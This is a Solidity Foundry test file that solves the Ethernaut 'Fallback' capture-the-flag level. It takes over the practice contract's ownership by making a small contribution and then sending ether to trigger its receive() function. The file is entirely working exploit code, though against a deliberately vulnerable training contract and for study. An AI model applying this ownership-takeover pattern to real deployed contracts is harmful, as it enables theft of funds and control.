-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathFallbackExploit.t.sol
38 lines (32 loc) · 1.11 KB
/
FallbackExploit.t.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;
import '../../src/EthernautCTF/Fallback.sol';
import '@forge-std/Test.sol';
import '@forge-std/console.sol';
contract FallbackExploit is Test {
Fallback target;
address deployer = makeAddr('deployer');
address exploiter = makeAddr('exploiter');
function setUp() public {
vm.startPrank(deployer);
target = new Fallback();
console.log('Target contract deployed');
vm.stopPrank();
vm.deal(exploiter, 1 ether);
}
function testExploit() public {
address owner = target.owner();
console.log('Current owner: %s', owner);
assertEq(owner, deployer);
vm.startPrank(exploiter);
// Contribute once to make sure the exploiter balance is above zero.
target.contribute{value: 0.0001 ether}();
// Send a small amount of ether (more than 0 ether) to trigger the `receive` method.
(bool success, ) = address(target).call{value: 0.0001 ether}('');
require(success, 'Low-level call failed');
vm.stopPrank();
owner = target.owner();
console.log('New owner: %s', owner);
assertEq(owner, exploiter);
}
}